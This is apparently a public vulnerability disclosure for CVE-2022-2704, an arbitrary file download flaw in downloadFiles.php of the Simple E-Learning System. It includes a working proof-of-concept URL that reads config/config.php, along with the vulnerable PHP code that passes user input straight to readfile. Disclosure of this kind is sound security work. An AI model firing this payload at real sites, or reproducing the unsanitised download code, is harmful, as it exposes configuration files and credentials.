Headline
CVE-2022-2704: vuls/Simple E-Learning System downloadFiles.php Arbitrary File Download.md at main · vuls/vuls
A vulnerability was found in SourceCodester Simple E-Learning System. It has been declared as problematic. This vulnerability affects unknown code of the file downloadFiles.php. The manipulation of the argument download leads to information disclosure. The attack can be initiated remotely. The exploit has been disclosed to the public and may be used. The identifier of this vulnerability is VDB-205828.
Simple E-Learning System downloadFiles.php Arbitrary File Download
Vendor Homepage:
https://www.sourcecodester.com
Source Code Download:
https://www.sourcecodester.com/php-simple-e-learning-system-source-code
Payload
http://127.0.0.1/downloadFiles.php?download=config/config.php
Code
downloadFiles.php line 4-13
if(isset($_GET[‘download’])){ $path =$_GET[‘download’];
header('content-Disposition: attachment; filename = '.$path.'');
header('content-Type:application/octet-stream');
header('content-Length='.filesize($path));
readfile($path);
exit;
}